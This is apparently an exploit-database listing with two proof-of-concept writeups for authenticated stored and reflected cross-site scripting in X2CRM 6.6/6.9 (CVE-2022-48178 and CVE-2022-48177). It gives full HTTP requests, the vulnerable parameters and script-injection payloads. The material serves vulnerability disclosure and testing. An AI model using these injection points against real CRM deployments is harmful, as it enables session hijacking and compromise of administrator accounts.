Share 
## https://sploitus.com/exploit?id=PACKETSTORM:171792
# Exploit Title: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)  
# Exploit Author: Betul Denizler  
# Vendor Homepage: https://x2crm.com/  
# Software Link: https://sourceforge.net/projects/x2engine/  
# Version: X2CRM v6.6/6.9  
# Tested on: Ubuntu Mate 20.04  
# Vulnerable Parameter: Actions[subject]  
# CVE: CVE-2022-48178  
# Date: 27.12.2022  
  
'''  
POC REQUEST:  
========  
POST /c2xrm/x2engine/index.php/actions/update?id=1 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0)   
Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 172  
Origin: http://localhost  
Connection: close  
Referer:   
http://localhost/c2xrm/x2engine/index.php/actions/viewAction?id=1  
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1;   
PHPSESSID=kg3n7kcjqtm29fc7n4m72m0bt5;   
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab;   
5d8630d289284e8c14d15b14f4b4dc28=779a63cb39d04cca59b4a3b9b2a4fad817930211a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%224%22%3Bi%3A1%3Bs%3A5%3A%22test2%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D;   
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D;   
sessionToken=Ncr7UIvK2yPvHzZc8koNW4DaIXxwZnsr  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab&Actions%5Bsubject%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&Actions%5Bpriority%5D=1&Actions%5BactionDescription%5D=test  
  
EXPLOITATION  
========  
1. Create an action  
2. Inject payload to the vulnerable parameter in POST request  
  
Payload: %3Cscript%3Ealert(1)%3C%2Fscript%3E  
'''  
  
  
  
# Exploit Title: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)  
# Exploit Author: Betul Denizler  
# Vendor Homepage: https://x2crm.com/  
# Software Link: https://sourceforge.net/projects/x2engine/  
# Version: X2CRM v6.6/6.9  
# Tested on: Ubuntu Mate 20.04  
# Vulnerable Parameter: model  
# CVE: Use CVE-2022-48177  
# Date: 27.12.2022  
  
'''  
  
POC REQUEST:  
========  
GET   
/x2crm/x2engine/index.php/admin/importModels?model=asd%22%3E%3Cbody%20onload=%22alert(4)%22%3E   
HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0)   
Gecko/20100101 Firefox/108.0  
Accept:   
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1;   
PHPSESSID=959fpkms4abdhtresce9k9rmk3;   
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab;   
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D;   
locationTrackingFrequency=60; locationTrackingSwitch=1;   
5d8630d289284e8c14d15b14f4b4dc28=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D;   
sessionToken=FFWkdliSAKgtUbP1dKP4iswyYRelqyQ4  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: none  
Sec-Fetch-User: ?1  
  
EXPLOITATION  
========  
1. Select Import Records Model in admin settings  
2. Inject payload to the vulnerable parameter in GET request  
  
Payload: "><body onload="alert(4)">  
'''